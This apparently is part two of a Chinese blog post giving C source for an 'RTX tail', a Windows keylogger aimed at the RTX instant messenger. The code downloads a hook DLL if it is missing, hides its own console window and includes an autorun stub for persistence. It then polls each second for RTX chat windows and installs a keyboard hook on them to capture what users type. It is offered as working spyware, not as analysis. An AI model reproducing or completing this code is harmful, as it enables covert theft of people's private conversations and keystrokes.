简单实现windows下RTX尾巴(下)(c语言)

接rtxtail.c
BOOL AutoRun()
{
	//TODO
}

int main()
{
	HANDLE hLib;
	HANDLE hModule;
	HANDLE hConsole;
	HANDLE hFore;
	BOOL ftpSuccess = FALSE;
	DWORD dllFile; 

	typedef BOOL (WINAPI *LPSH)(HANDLE);
	LPSH SetHook;

	typedef BOOL (WINAPI *LPDH)();
	LPDH DropHook;

	typedef HANDLE (*LPGCW)(void);
	LPGCW GetConsoleWindow;

	//dll does not exist 
	dllFile = GetFileAttributes("c:\\windows\\system32\\RTXKeyHook.dll");
	printf("%d\n", dllFile);
	if(dllFile != -1)
	{
		printf("file found !\n");
	}
	else
	{
		printf("file doesn't exist ! download...\n");
		ftpSuccess = DownloadHookDll();
		if(!ftpSuccess)
		{
			printf("failed to download dll !\n");
			return -1;
		}
		printf("download ok!\n");
	}

	//hide console window
	hModule = GetModuleHandle("kernel32.dll");
	GetConsoleWindow = (LPGCW)GetProcAddress(hModule, TEXT("GetConsoleWindow"));
	hConsole = GetConsoleWindow();
	if(hConsole)
	{
		printf("console found!\n");
		ShowWindow(hConsole, SW_HIDE);
	}

	//autorun
	AutoRun();

	hLib = LoadLibrary("RTXKeyHook.dll");
	if(!hLib) 
	{
		printf("failed to load library");
		return -1;
	}

	SetHook = (LPSH)GetProcAddress(hLib, TEXT("SetHook"));
	DropHook = (LPDH)GetProcAddress(hLib, TEXT("DropHook"));

	while(TRUE)
	{
		hFore = GetForegroundWindow();
		ZeroMemory(m_store, sizeof(m_store));
		GetWindowText(hFore, m_store, sizeof(m_store));
		if(strstr(TEXT(m_store), TEXT("- RTX 会话")) > 0 
			|| strcmp(TEXT(m_store), TEXT(unhookedName)) == 0)
		{
			printf("found!\n");
			if(hLast != NULL)
			{
				DropHook();
				SetWindowText(hLast, unhookedName);
			}
			SetHook(hFore);
			SetWindowText(hFore, hookedName);
			hLast = hFore;
		}

		Sleep(1000);
	}

	return 0;
}

你可能感兴趣的:(c)